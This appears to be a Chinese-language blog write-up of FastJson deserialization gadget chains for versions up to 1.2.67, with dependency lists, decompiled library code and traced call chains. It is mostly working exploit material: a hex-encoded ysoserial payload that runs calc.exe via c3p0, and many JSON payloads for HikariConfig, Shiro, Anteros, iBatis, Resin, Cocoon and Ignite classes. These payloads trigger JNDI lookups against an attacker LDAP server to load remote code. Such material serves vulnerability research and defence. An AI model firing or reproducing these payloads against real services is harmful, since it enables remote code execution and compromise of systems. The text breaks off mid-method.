0013001B0002000C000000490000000400000001B100000002000D00000006000100000038000E0000002A000400000001000F003800000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C00000024000300020000000FA70003014CB8002F1231B6003557B1000000010036000000030001030002002000000002002100110000000A000100020023001000097571007E0018000001D4CAFEBABE00000032001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100254C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A01002379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501001F79736F73657269616C2F7061796C6F6164732F7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000003C000E0000000C000100000005000F001200000002001300000002001400110000000A000100020016001000097074000450776E727077010078737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000078700000000178
payload
1 2 3 4 5 6 7 8 9 10 11 { "e" : { "@type" : "java.lang.Class" , "val" : "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" }, "f" : { "@type" : "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" , "userOverridesAsString" : "HexAsciiSerializedMap:ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B787000000002737200426F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E5472616E73666F726D696E67436F6D70617261746F722FF984F02BB108CC0200024C00096465636F726174656471007E00014C000B7472616E73666F726D657274002D4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B7870737200406F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000E6E65775472616E73666F726D6572757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E000B4C00055F6E616D6571007E000A4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E002000078700000069CCAFEBABE0000003200390A0003002207003707002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E01000863616C632E65786508003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401000D537461636B4D61705461626C6501001D79736F73657269616C2F50776E6572333734323337373836333635333501001F4C79736F73657269616C2F50776E657233373432333737383633363533353B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000002F000E0000000C000100000005000F003800000001001300140002000C0000003F0000000300000001B100000002000D00000006000100000034000E00000020000300000001000F0038000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D00000006000100000038000E0000002A000400000001000F003800000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C00000024000300020000000FA70003014CB8002F1231B6003557B1000000010036000000030001030002002000000002002100110000000A000100020023001000097571007E0018000001D4CAFEBABE00000032001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100254C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A01002379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501001F79736F73657269616C2F7061796C6F6164732F7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000003C000E0000000C000100000005000F001200000002001300000002001400110000000A000100020016001000097074000450776E727077010078737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000078700000000178;" } }
WrapperConnectionPoolDataSource.class用的父类的settercom.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
步入,跳到com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setUpPropertyListeners
调用com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString
1 2 3 4 5 6 7 8 9 public static Map parseUserOverridesAsString (String var0) throws IOException, ClassNotFoundException { if (var0 != null ) { String var1 = var0.substring("HexAsciiSerializedMap" .length() + 1 , var0.length() - 1 ); byte [] var2 = ByteUtils.fromHexAscii(var1); return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(var2)); } else { return Collections.EMPTY_MAP; } }
先substring
截取16进制数据
然后return
调用com.mchange.v2.ser.SerializableUtils#fromByteArray(byte[])
进行反序列化
最后return var1.readObject();
调用java原生的java.io.ObjectInputStream
的反序列化方法,将输入字节数据反序列化
gadget
1 setUserOverridesAsString -> setUpPropertyListeners -> parseUserOverridesAsString -> fromByteArray -> readObject()
FastJson 1.2.48 MiscCodec.java
对cache
缓存设置成false
checkAutoType()
至此之后的版本,寻找可用的gadget基本都是绕过黑名单为主,并且绕过需要特定的依赖,利用范围比较小。
FastJson ≤ 1.2.59 开启autotype pom
1 2 3 4 5 6 7 8 9 10 11 12 13 <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2 .59 </version> </dependency> <!-- HikariCP 连接池(含 HikariConfig 类) --> <dependency> <groupId>com.zaxxer</groupId> <artifactId>HikariCP</artifactId> <version>4.0 .3 </version> <!--测试<=4.0 .3 可用 --> </dependency>
payload
1 2 3 4 { "@type" : "com.zaxxer.hikari.HikariConfig" , "metricRegistry" : "ldap://192.168.100.128:1389/Exploit" }
在com.zaxxer.hikari.HikariConfig#setMetricRegistry
的metricRegistry = this.getObjectOrPerformJndiLookup(metricRegistry);
调用了getObjectOrPerformJndiLookup
1 2 3 4 5 6 7 8 9 10 11 12 13 public void setMetricRegistry (Object metricRegistry) { if (this .metricsTrackerFactory != null ) { throw new IllegalStateException ("cannot use setMetricRegistry() and setMetricsTrackerFactory() together" ); } else { if (metricRegistry != null ) { metricRegistry = this .getObjectOrPerformJndiLookup(metricRegistry); if (!UtilityElf.safeIsAssignableFrom(metricRegistry, "com.codahale.metrics.MetricRegistry" ) && !UtilityElf.safeIsAssignableFrom(metricRegistry, "io.micrometer.core.instrument.MeterRegistry" )) { throw new IllegalArgumentException ("Class must be instance of com.codahale.metrics.MetricRegistry or io.micrometer.core.instrument.MeterRegistry" ); } } this .metricRegistry = metricRegistry;
com.zaxxer.hikari.HikariConfig#getObjectOrPerformJndiLookup
1 2 3 4 5 6 7 8 9 10 11 12 private Object getObjectOrPerformJndiLookup (Object object) { if (object instanceof String) { try { InitialContext initCtx = new InitialContext (); return initCtx.lookup((String)object); } catch (NamingException var3) { throw new IllegalArgumentException (var3); } } else { return object; } }
gadget
1 "@type" : "com.zaxxer.hikari.HikariConfig" -> setMetricRegistry -> getObjectOrPerformJndiLookup -> lookup
利用另一个setter
的payload
1 2 3 4 { "@type" : "com.zaxxer.hikari.HikariConfig" , "healthCheckRegistry" : "ldap://192.168.100.128:1389/Exploit" }
com.zaxxer.hikari.HikariConfig#setHealthCheckRegistry
1 2 3 4 5 6 7 8 9 10 11 public void setHealthCheckRegistry (Object healthCheckRegistry) { this .checkIfSealed(); if (healthCheckRegistry != null ) { healthCheckRegistry = this .getObjectOrPerformJndiLookup(healthCheckRegistry); if (!(healthCheckRegistry instanceof HealthCheckRegistry)) { throw new IllegalArgumentException ("Class must be an instance of com.codahale.metrics.health.HealthCheckRegistry" ); } } this .healthCheckRegistry = healthCheckRegistry; }
同样调用了com.zaxxer.hikari.HikariConfig#getObjectOrPerformJndiLookup
gadget
1 "@type" : "com.zaxxer.hikari.HikariConfig" -> setHealthCheckRegistry -> getObjectOrPerformJndiLookup -> lookup
FastJson ≤ 1.2.61 开启autotype SessionBeanProvider 网传未复现成功 pom
1 2 3 4 5 6 7 8 9 10 11 12 <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2 .61 </version> </dependency> <!-- Apache Commons Proxy(提供 SessionBeanProvider 类) --> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-proxy</artifactId> <version>1.0 </version> <!-- 包含 SessionBeanProvider --> </dependency>
payload
1 2 3 4 5 { "@type" : "org.apache.commons.proxy.provider.remoting.SessionBeanProvider" , "jndiName" : "ldap://192.168.100.128:1389/Exploit" , "Object" : "a" }
报错是被checkAutoType
黑名单拦截了
D:\maven_repo\org\apache\commons\commons-proxy\1.0\commons-proxy-1.0.jar!\org\apache\commons\proxy\provider\remoting\SessionBeanProvider.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 package org.apache.commons.proxy.provider.remoting;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.Properties;import javax.naming.InitialContext;import javax.naming.NamingException;import javax.rmi.PortableRemoteObject;import org.apache.commons.proxy.ObjectProvider;import org.apache.commons.proxy.ProxyUtils;import org.apache.commons.proxy.exception.ObjectProviderException;public class SessionBeanProvider implements ObjectProvider { private final String jndiName; private final Class homeInterface; private final Properties properties; public SessionBeanProvider (String jndiName, Class homeInterface) { this .jndiName = jndiName; this .homeInterface = homeInterface; this .properties = null ; } public SessionBeanProvider (String jndiName, Class homeInterface, Properties properties) { this .jndiName = jndiName; this .homeInterface = homeInterface; this .properties = properties; } public Object getObject () { try { InitialContext initialContext = this .properties == null ? new InitialContext () : new InitialContext (this .properties); Object homeObject = PortableRemoteObject.narrow(initialContext.lookup(this .jndiName), this .homeInterface); Method createMethod = homeObject.getClass().getMethod("create" , ProxyUtils.EMPTY_ARGUMENT_TYPES); return createMethod.invoke(homeObject, ProxyUtils.EMPTY_ARGUMENTS); } catch (NoSuchMethodException var4) { throw new ObjectProviderException ("Unable to find no-arg create() method on home interface " + this .homeInterface.getName() + "." , var4); } catch (IllegalAccessException var5) { throw new ObjectProviderException ("No-arg create() method on home interface " + this .homeInterface.getName() + " is not accessible." , var5); } catch (NamingException var6) { throw new ObjectProviderException ("Unable to lookup EJB home object in JNDI." , var6); } catch (InvocationTargetException var7) { throw new ObjectProviderException ("No-arg create() method on home interface " + this .homeInterface.getName() + " threw an exception." , var7); } } }
FastJson ≤1.2.62 开启autotype
JndiConverter 需要xbean-reflect依赖 1 2 3 4 5 6 7 <dependency> <groupId>org.apache.xbean</groupId> <artifactId>xbean-reflect</artifactId> <version>4.27 </version> </dependency>
payload
1 2 3 4 { "@type" :"org.apache.xbean.propertyeditor.JndiConverter" , "AsText" :"ldap://192.168.100.128:1389/Exploit" }
需要开启autotype
org.apache.xbean.propertyeditor.JndiConverter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package org.apache.xbean.propertyeditor;import javax.naming.Context ;import javax.naming.InitialContext ;import javax.naming.NamingException ; public class JndiConverter extends AbstractConverter { public JndiConverter () { super (Context .class ); } protected Object toObjectImpl(String text) { try { InitialContext context = new InitialContext (); return (Context )context.lookup(text); } catch (NamingException var3) { throw new PropertyEditorException (var3); } }
这里有一个lookup查询
参数是text
这里构造方法用的是父类的org.apache.xbean.propertyeditor.AbstractConverter
1 setAsText()`调用了`toObject`然后调用`toObjectImpl
gadget
1 @type(JndiConverter) -> JndiConverter#JndiConverter -> AbstractConverter#setAsText -> AbstractConverter#toObject -> JndiConverter#toObjectImpl#lookup()
看https://mvnrepository.com/artifact/com.alibaba/fastjson
下一个版本是1.2.63_noneautotype
不支持autotype
自然无法利用
再下一个版本1.2.66
黑名单加了JndiConverter
FastJson ≤1.2.66 开启AutoType gadget很多,jndi
注入需要JDK
版本支持
JndiRealmFactory shiro-core依赖 1 2 3 4 5 6 <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-core</artifactId> <version>1.13 .0 </version> </dependency>
payload
1 2 3 4 5 6 { "@type" : "org.apache.shiro.realm.jndi.JndiRealmFactory" , "jndiNames" : ["ldap://192.168.100.128:1389/Exploit" ], "Realms" : ["" ] }
看org.apache.shiro.realm.jndi.JndiRealmFactory
在org.apache.shiro.realm.jndi.JndiRealmFactory#getRealms
调用了lookup
,参数是org.apache.shiro.realm.jndi.JndiRealmFactory#getJndiNames
的返回值,并且需要键值为集合类型,因为Collection<String> jndiNames = null;
而setter
接收的参数是Collection<String>
(集合)类型
所以是getRealms
触发的jndi
,payload的Realms
字段是必须的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public Collection<Realm> getRealms () throws IllegalStateException { Collection<String> jndiNames = this .getJndiNames(); if (jndiNames != null && !jndiNames.isEmpty()) { List<Realm> realms = new ArrayList (jndiNames.size()); Iterator var3 = jndiNames.iterator(); while (var3.hasNext()) { String name = (String)var3.next(); try { Realm realm = (Realm)this .lookup(name, Realm.class); realms.add(realm); } catch (Exception var6) { throw new IllegalStateException ("Unable to look up realm with jndi name '" + name + "'." , var6); } } return realms.isEmpty() ? null : realms; } else { String msg = "One or more jndi names must be specified for the " + this .getClass().getName() + " to locate Realms." ; throw new IllegalStateException (msg); } }
为什么反序列化会调用getRealms
,因为getRealms
返回类型为Collection<Realm>
,并且注意到这里没有setRealms
方法,但是传入的键值对中有Realms
并且值是集合,所以需要getRealms()
获取集合实例然后通过反射或集合方法填充数据,如这里使用realms.add(realm)
所以gadget如下
1 "@type" : "org.apache.shiro.realm.jndi.JndiRealmFactory" -> setJndiNames -> getRealms.lookup(getRealms)
AnterosDBCPConfig Anteros-DBCP依赖 1 2 3 4 5 <dependency> <groupId>br.com.anteros</groupId> <artifactId>Anteros-DBCP</artifactId> <version>1.0 .1 </version> </dependency>
payload
1 2 3 4 { "@type" : "br.com.anteros.dbcp.AnterosDBCPConfig" , "metricRegistry" : "ldap://192.168.100.128:1389/Exploit" }
br.com.anteros.dbcp.AnterosDBCPConfig#setMetricRegistry
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public void setMetricRegistry (Object metricRegistry) { if (this .metricsTrackerFactory != null ) { throw new IllegalStateException ("cannot use setMetricRegistry() and setMetricsTrackerFactory() together" ); } else { if (metricRegistry != null ) { metricRegistry = this .getObjectOrPerformJndiLookup(metricRegistry); if (!UtilityElf.safeIsAssignableFrom(metricRegistry, "com.codahale.metrics.MetricRegistry" ) && !UtilityElf.safeIsAssignableFrom(metricRegistry, "io.micrometer.core.instrument.MeterRegistry" )) { throw new IllegalArgumentException ("Class must be instance of com.codahale.metrics.MetricRegistry or io.micrometer.core.instrument.MeterRegistry" ); } } this .metricRegistry = metricRegistry; } }
调用了getObjectOrPerformJndiLookup
参数是metricRegistry
1 2 3 4 5 6 7 8 9 10 11 12 13 private Object getObjectOrPerformJndiLookup (Object object) { if (object instanceof String) { try { InitialContext initCtx = new InitialContext (); return initCtx.lookup((String)object); } catch (NamingException var3) { throw new IllegalArgumentException (var3); } } else { return object; } }
return initCtx.lookup((String)object)调用了lookup
gadget
1 "@type" : "br.com.anteros.dbcp.AnterosDBCPConfig" -> setMetricRegistry -> getObjectOrPerformJndiLookup.lookup
另一个payload
1 2 3 4 { "@type" : "br.com.anteros.dbcp.AnterosDBCPConfig" , "healthCheckRegistry" : "ldap://192.168.100.128:1389/Exploit" }
br.com.anteros.dbcp.AnterosDBCPConfig#setHealthCheckRegistry
1 2 3 4 5 6 7 8 9 10 11 12 public void setHealthCheckRegistry (Object healthCheckRegistry) { this .checkIfSealed(); if (healthCheckRegistry != null ) { healthCheckRegistry = this .getObjectOrPerformJndiLookup(healthCheckRegistry); if (!(healthCheckRegistry instanceof HealthCheckRegistry)) { throw new IllegalArgumentException ("Class must be an instance of com.codahale.metrics.health.HealthCheckRegistry" ); } } this .healthCheckRegistry = healthCheckRegistry; }
同样调用了getObjectOrPerformJndiLookup
JtaTransactionConfig ibatis-sqlmap和jta依赖 1 2 3 4 5 6 7 8 9 10 11 <dependency> <groupId>org.apache.ibatis</groupId> <artifactId>ibatis-sqlmap</artifactId> <version>2.3 .4 .726 </version> </dependency> <dependency> <groupId>javax.transaction</groupId> <artifactId>jta</artifactId> <version>1.1 </version> </dependency>
payload
1 2 3 4 5 6 7 { "@type" : "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig" , "properties" : { "@type" : "java.util.Properties" , "UserTransaction" : "ldap://192.168.100.128:1389/Exploit" } }
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig#setProperties
1 2 3 4 5 6 7 8 9 10 11 12 public void setProperties (Properties props) throws SQLException, TransactionException { String utxName = null ; try { utxName = (String)props.get("UserTransaction" ); InitialContext initCtx = new InitialContext (); this .userTransaction = (UserTransaction)initCtx.lookup(utxName); } catch (NamingException var4) { throw new SqlMapException ("Error initializing JtaTransactionConfig while looking up UserTransaction (" + utxName + "). Cause: " + var4); } }
参数是Properties
的实例,而java.util.Properties#setProperty
1 2 3 public synchronized Object setProperty (String key, String value) { return put(key, value); }
通过put
设置键值对也就是UserTransaction:ldap://192.168.100.128:1389/Exploit
所以无需setUserTransaction
然后utxName = (String)props.get("UserTransaction");
获取键值作为参数调用initCtx.lookup(utxName)
jndi注入
gadget
1 "@type" : "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig" -> setProperties -> setProperty -> setProperties.lookup
pom
1 2 3 4 5 6 7 8 9 10 11 <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2 .62 </version> </dependency> <dependency> <groupId>com.caucho</groupId> <artifactId>resin</artifactId> <version>4.0 .66 </version> </dependency>
payload
1 2 3 4 5 6 7 { "@type" : "com.caucho.config.types.ResourceRef" , "lookupName" : "ldap://192.168.100.128:1389/Exploit" , "value" : { "$ref" : "$.value" } }
在D:\maven_repo\com\caucho\resin\4.0.66\resin-4.0.66.jar!\com\caucho\config\types\ResourceRef.class
的com.caucho.config.types.ResourceRef#getValue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public Object getValue () { Object value; if (this ._value != null ) { value = this ._value; } else { if (this .getLookupName() != null ) { return Jndi.lookup(this .getLookupName()); } InjectManager cdiManager = InjectManager.getCurrent(); value = cdiManager.getReference(this ._bean); } return value; }
没有定义变量和setter
,
1 2 3 "value" : { "$ref" : "$.value" }
循环引用,访问根节点(当前 JSON 根节点下)也就是ResourceRef
的instance
属性,Fastjson 会通过反射调用 getValue()
方法(如果存在)或直接访问 value
字段来获取值(这里没有)
return Jndi.lookup(this.getLookupName());
调用lookup
参数是this.getLookupName()
跟进这个方法发现是父类的gettercom.caucho.config.types.ResourceGroupConfig#getLookupName
因为子类没有重写getter
和setter
所以反序列化时用的是父类ResourceGroupConfig
的setter
和getter
1 2 3 4 5 6 7 public void setLookupName (String lookupName) { this ._lookupName = lookupName; }public String getLookupName () { return this ._lookupName; }
gadget
1 "@type" : "com.caucho.config.types.ResourceRef" -> 发现 `$ref` -> 解析 `$.value` -> 反射调用 ResourceRef.getValue().lookup(getLookupName)
org.apache.cocoon.components.slide.impl.JMSContentInterceptor pom
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <dependency > <groupId > slide</groupId > <artifactId > slide-kernel</artifactId > <version > 2.1</version > </dependency > <dependency > <groupId > cocoon</groupId > <artifactId > cocoon-slide</artifactId > <version > 2.1.11</version > </dependency > //需要javaee环境,非javaee需要引入下面的依赖 <dependency > <groupId > javax.jms</groupId > <artifactId > javax.jms-api</artifactId > <version > 2.0.1</version > </dependency > <dependency > <groupId > javax.transaction</groupId > <artifactId > javax.transaction-api</artifactId > <version > 1.3</version > </dependency >
payload
1 2 3 4 5 6 7 8 9 { "@type" : "org.apache.cocoon.components.slide.impl.JMSContentInterceptor" , "parameters" : { // "@type" : "java.util.Hashtable" , // 可有可无 "java.naming.factory.initial" : "com.sun.jndi.rmi.registry.RegistryContextFactory" , "topic-factory" : "ldap://192.168.100.128:1389/Exploit" }, "namespace" : "" }
在D:\maven_repo\cocoon\cocoon-slide\2.1.11\cocoon-slide-2.1.11.jar!\org\apache\cocoon\components\slide\impl\JMSContentInterceptor.class
可以看到触发lookup
的是org.apache.cocoon.components.slide.impl.JMSContentInterceptor#setNamespace
参数是this.m_topicFactoryName
,所以需要传入"namespace": ""
来触发setter
在调用lookup
之前,如果想自定义参数(比如要ldap或者rmi)需要先初始化,InitialContext
是访问命名服务的入口点,lookup()
方法需要知道从哪里查找资源(如 com.sun.jndi.rmi.registry.RegistryContextFactory
)
这里InitialContext()
的参数是this.m_jndiProps
和lookup
的参数m_topicFactoryName
都在org.apache.cocoon.components.slide.impl.JMSContentInterceptor#setParameters
通过getParameter
来获取
需要传入一个parameters
触发setParameters
,并且设置"java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory"
和"topic-factory": "ldap://192.168.100.128:1389/Exploit"
因为初始化时同时传入了
1 this .m_jndiProps.put("java.naming.provider.url" , "rmi://localhost:1099/" );
这告诉 JNDI 使用 RMI 注册表作为其初始的命名服务,com.sun.jndi.rmi.registry.RegistryContextFactory
是用来与 RMI 注册表交互的工厂,只用于初始化, 以便能够开始 JNDI 操作
当 lookup()
方法接收到一个以 URL 形式(如 ldap://…, rmi://…, dns://… 等)的字符串参数时,JNDI 的行为会发生变化:
JNDI 会解析这个 URL,并识别出其协议 (scheme),在这里是 “ldap”。
然后,JNDI 会尝试寻找并加载一个能够处理该特定协议的 URL 上下文工厂 (URL Context Factory)。
对于 “ldap” 协议,它会寻找 LDAP 服务提供者 (LDAP Service Provider) 中注册的 LDAP URL 上下文工厂。
如果找到了合适的 LDAP URL 上下文工厂(Java 运行时通常内置了 LDAP 服务提供者),JNDI 就会使用这个工厂来解析和处理该 LDAP URL。
gadget
1 JMSContentInterceptor#setNamespace -> JMSContentInterceptor#setParameters -> -> InitialContext(this .m_jndiProps).lookup(topic-factory)
FastJson ≤1.2.67 开启AutoType CacheJndiTmLookup 要ignite-core、ignite-jta和依赖 1 2 3 4 5 6 7 8 9 10 11 12 13 <dependency> <groupId>org.apache.ignite</groupId> <artifactId>ignite-core</artifactId> <version>2.16 .0 </version> </dependency> <dependency> <groupId>org.apache.ignite</groupId> <artifactId>ignite-jta</artifactId> <version>2.16 .0 </version> </dependency>
payload
1 2 3 4 5 6 7 8 9 { "@type" : "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup" , "jndiNames" : [ "ldap://192.168.100.128:1389/Exploit" ], "tm" : { "$ref" : "$.tm" } }
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 package org.apache.ignite.cache.jta.jndi;import java.util.Iterator;import java.util.List;import javax.naming.InitialContext;import javax.naming.NamingException;import javax.transaction.TransactionManager;import org.apache.ignite.IgniteException;import org.apache.ignite.cache.jta.CacheTmLookup;import org.jetbrains.annotations.Nullable;public class CacheJndiTmLookup implements CacheTmLookup { private List<String> jndiNames; public CacheJndiTmLookup () { } public List<String> getJndiNames () { return this .jndiNames; } public void setJndiNames (List<String> jndiNames) { this .jndiNames = jndiNames; } public @Nullable TransactionManager getTm () throws IgniteException { assert this .jndiNames != null ; assert !this .jndiNames.isEmpty(); try { InitialContext ctx = new InitialContext (); Iterator var2 = this .jndiNames.iterator(); Object obj; do { if (!var2.hasNext()) { return null ; } String s = (String)var2.next(); obj = ctx.lookup(s); } while (obj == null || !(obj instanceof TransactionManager)); return (TransactionManager)obj; } catch (NamingException var5) { throw new IgniteException ("Unable to lookup TM by: " + this .jndiNames, var5); } } }
setJndiNames
的参数是list
类型,所以payload为[ "ldap://192.168.100.128:1389/Exploit" ]
对于参数tm
只有getTm()
而没有setter
方法
调试最后是对jndiNames
调用了lookup
查询
这里为什么会调用getter
,对于payload中的tm
字段用了循环引用,fastjson默认开启
1 2 3 "tm" : { "$ref" : "$.tm" }
{"$ref":"$.tm"}
是一个 JSON-Path
引用表达式,表示访问根节点(当前 JSON 根节点下)也就是CacheJndiTmLookup
的tm
属性,Fastjson 会通过反射调用 getTm()
方法(如果存在)或直接访问 tm
字段来获取值
gadget
1 "@type" : "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup" -> setJndiNames -> 发现 `$ref` -> 解析 `$.tm` -> 反射调用 `CacheJndiTmLookup.getTm().lookup(jndiNames)
JndiObjectFactory shiro-core依赖 pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-core</artifactId> <version>1.13 .0 </version> </dependency> <!-- <dependency>--> <!-- <groupId>org.slf4j</groupId>--> <!-- <artifactId>slf4j-api</artifactId>--> <!-- <version>2.0 .17 </version>--> <!-- </dependency>-->
payload
1 2 3 4 5 6 7 { "@type" : "org.apache.shiro.jndi.JndiObjectFactory" , "resourceName" : "ldap://192.168.100.128:1389/Exploit" , "instance" : { "$ref" : "$.instance" } }
D:\maven_repo\org\apache\shiro\shiro-core\1.13.0\shiro-core-1.13.0.jar!\org\apache\shiro\jndi\JndiObjectFactory.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 package org.apache.shiro.jndi;import javax.naming.NamingException;import org.apache.shiro.util.Factory;public class JndiObjectFactory <T> extends JndiLocator implements Factory <T> { private String resourceName; private Class<? extends T > requiredType; public JndiObjectFactory () { } public T getInstance () { try { return this .requiredType != null ? this .requiredType.cast(this .lookup(this .resourceName, this .requiredType)) : this .lookup(this .resourceName); } catch (NamingException var3) { String typeName = this .requiredType != null ? this .requiredType.getName() : "object" ; throw new IllegalStateException ("Unable to look up " + typeName + " with jndi name '" + this .resourceName + "'." , var3); } } public String getResourceName () { return this .resourceName; } public void setResourceName (String resourceName) 